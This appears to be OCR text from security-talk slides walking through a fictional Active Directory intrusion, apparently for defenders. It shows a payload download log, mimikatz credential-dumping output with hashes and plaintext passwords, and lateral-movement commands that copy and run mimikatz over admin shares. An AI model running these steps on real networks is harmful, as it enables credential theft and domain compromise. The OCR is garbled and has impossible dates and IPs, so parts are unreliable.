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PROXY

2016-06-32 09:31:18 153 192.168.173.49 2006 TCP_NC_MISS 6609 291
GET HTTPS DELLUPDATER.DELL.COM HTTPS://EVIL.PLUMBING/KIT/
PWNT.EXE - - EVIL.PLUMBING

APPLICATION/OCTET-STREAM "MICROSOFT BITS/7.5" OBSERVED
TECHNOLOGY/INTERNET - 10.0.42.187 SG-HTTP-SERVICE

DNS

6/32/2016 09:31:09 AM 1410 PACKET OOOO0O0OO0O0O01B4142E0 UDP RCV
10.0.42.187 46A9 Q [0001 D NOERROR] A
EVIL(3)PLUMBING(O)

6/32/2016 09:31:09 AM 1410 PACKET O0OOOOOOOOOF943280 UDP RCV
64.183.555.1 94D8 R Q [1084 A NOERROR] A
EVIL(3)PLUMBING(O0)
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potato.exe RAT contains mimikatz password credential harvester
attacker dumps local passwords using mimikatz

//Need mimikatz output for local admin
mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32( lsass.exe).th32ProcessID = 488
Attente de connexion du client...
Serveur connecté a un client !
Message du processus :
Bienvenue dans un processus distant
Gentil Kiwi

SekurLSA : librairie de manipulation des données de sécurités dans LSASS

mimikatz # @getLogonPasswords

Authentification Id : 0;,434898

Package d'authentification : NTLM

Jtilisateur principal : administrator

Domaine d'authentification : ACMEACTIVEDIR
msvl 0 : Lm{ AAD3B435B51404EEAAD3B435B51404EE }, ntlm{ B8452A5A6E2CA1ADD1CECDEB9EQEBD8D }
wdigest : JordanIsADouche
tspkg : JordanIsADouche
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STCLIENT Properties

LOCAL ADMINISTRATOR PASSWORD * ) [ : ] _
SOLUTION General Operating System Member Of Delegation Password Replication

’ Location | Managed By H_Object | Security | Dialn | Attribute Editor

| APS

Attribute Value
msimaging-HashAlgor... <not set:
msimaging-Thumbprin... <not set>
ms-Mcs-AdmPwd 6bCxjEeJIKED
ms-Mcs-AdmPwdBxpi... 130427612731068435
mSMQDigests “not set>
mSMQDigestsMig <not set>
mSMQSignCerificates  <not set:
mSMGSignCenfficate... <not set:

ms MNP Allow Dialin <not set:
msNPCallingStation|D  <not set:
msNPSavedCallingSt...  <not set:
msPKlAccountCrede...  <not set:
msPKl-CredentialRoa... <not set>
msPKIDPAPIMasterk... <not set:

< ]
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HARDENING! USER
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YAY!
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10.0.42.187 (jimmyvo) -> 10.0.42.127 (gross)

gross — IT Administrator with DA
Machine name - gross—Admin
IP: 10.0.42.127

Using local administrator credentials harvested from patient zero, attacker moves laterally to domain admin's workstation

cmd.exe net use \\gross—-Admin\IPC$
copy mimikatz.exe \\gross—Admin\IPC$\mimikatz.exe
at.exe \\gross—ADMIN\C$\mimikatz.exe somecommand

mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 488
Attente de connexion du client...
Serveur connecté a un client !
Message du processus :
Bienvenue dans un processus distant

Gentil Kiwil

SekurLSA : librairie de manipulation des données de sécurités dans LSASS
mimikatz # @getlLogonPasswords

Authentification Id : 0;269456

Package d'authentification : NTLM

Utilisateur principal : gross

Domaine d'authentification : ACME
msvl 0 : Im{ 5EDC5C908E336ABC667AF7177AFQE0A52 }, ntlm{ 0882CA1FB3A07CA5B14DE48E75C5BEDD }
wdigest : 18myUsername!
tspkg : 1i8myUsername!
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Domains are
Domains are
Domains are
Domains are
Domains are
Domains are
Domains are
Domains are
Domains are
Domains are
Domains are

not security boundaries, forests are.
not security boundaries, forests are.
not security boundaries, forests are.
not security boundaries, forests are.
not security boundaries, forests are.
not security boundaries, forests are.
not security boundaries, forests are.
not security boundaries, forests are.
not security boundaries, forests are.
not security boundaries, forests are.
not security boundaries, forests are.
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Processing
IExploring security group nesting for "CN=Montreal Sysadmins,0U=Groups,DC=acmeanvils,DC=xyz" using property "MemberOf"
00 Montreal Sysadmins

DC=acmeanvi |
01 l— Local Adm

DC=acmean DOt D0~ meGrowpa restaroupll
0l l— Local Adm po-itilabpcmen ——oNTRGRBT N o o i ponars )
1 D{: acmean DC=itsi-lab,DC=org
l . € \( Test Group 11 A
- Dl L F 10N t Y | DC=itsi-lab,DC=org
DC=acmean -
D 2 | Fl o .'_ =18 Security Groups and nesting found with Subtree search starting from CN=Test G?oul}L,CN:Users_,DC:itsi-lab,DC:ﬁ' and using MemberOf back-link attribute over Forest
v Ll 12/05/2015
- o o
| DC=acm
L Re:is'r I%f)l;;? ll?ll)falcglrﬁlrlgu
D 3 M D n Cyan: Unilversal G;tmpp
[:x: — Magenta: GroupType/Scope unknown due to ACL or Replication issue
— Color Filled: Nesting issue

MemberOt nesting chain for "acmeanvils.xyz/Groups/Montreal 5Sysadmins™ seems not optimal on some points:
-  loop on "acmeanvils.xyz/Groups /Montreal Sysadmins”

Nesting Level: 3
Known Group(s) Count: | 5
Nesting Potential Issue(s): 1

Estimated Token Si1ze: 1240 bytes

Unknown Group(s) Count: 0
Nesting Potential Issue(s): 0

GroupName Global Group

Domain Local Group

Universal Group

GroupType,/Scope unknown due to ACL restriction

GroupMName:
Color Filled: Nesting 1ssue

Ending




F/ Test Group 1

\ DC=itsi-lab,DC=fr ~—_ " mest Group A

( Test Croup Il \
—""’KDC-itsi'lab,DC-orz J

\( Test Group i1 \

kDC=itsi-lab,DC=org )

Security Groups and nesting found with Subtree search starting from CN=Test Gx}ousl} 1,CN=Users,DC=itsi-lab,DC=fr and using MemberOf back-link attribute over Forest
12/05/2015

¥

Gresn: Global Group
Red: Domain Local Group
Cyan: Universal Group

Magenta: GroupType/Scope unknown due to ACL or Replication issue
Color Filled: Nesting issue
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ACCESS
WORKSTATIONS

E]@ contoso.com
+)-(_] Builtin
(] Computers
+-(&3] Domain Controllers
[:l ForeignSecurityPrincipals

=T

ﬁ Administrator
€7 ASPNET

ﬁi Cert Publishers
mDomain Admins
gzDomain Comp...
mDomain Contr...
ﬁzoomain Guests
mDomain Users
mEnterprise Ad...
mExchange Do...
mExchange Ent...
f_ﬁ Group Policy ...
% Guest

g} HelpServices...
€T 115_WPG

ﬁ IUSR_contos
ﬁ IUSR_contos
ﬁ I'WaM_contos
ﬁ I'WaM_contos

User
User

Security Group ...
Security Group ...
Security Group ...
Security Group ...
Security Group ...
Security Group ...
Security Group ...
Security Group ...
Security Group ...
Security Group ...

User

Security Group ...
Security Group ...

User
User
User
User

Built-in account for admini...
Account used for running ...
Members of this group are...
Designated administrators...
All workstations and serve...
All domain controllers in th...

All domain guests
All domain users

Designated administrators...
Microsoft Exchange Domai...
Microsoft Exchange Enter...
Members in this group can...
Built-in account For guest ...
Group for the Help and Su...

115 Worker Process Group

Built-in account For anony...
Built-in account For anony...
Built-in account for Intern...
Built-in account for anony...

MORE INFO

https://technet.microsoft.com/

en-us/library/mt634654.aspx



https://technet.microsoft.com/en-us/library/mt634654.aspx
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6. SQL Database compromise

{"eventCode":4624, " computerName" :"SQLBOX.ACMEANVILS. com"

~~ P T L W

SELECT * TO > FILE ON
DA’S DESKTOP
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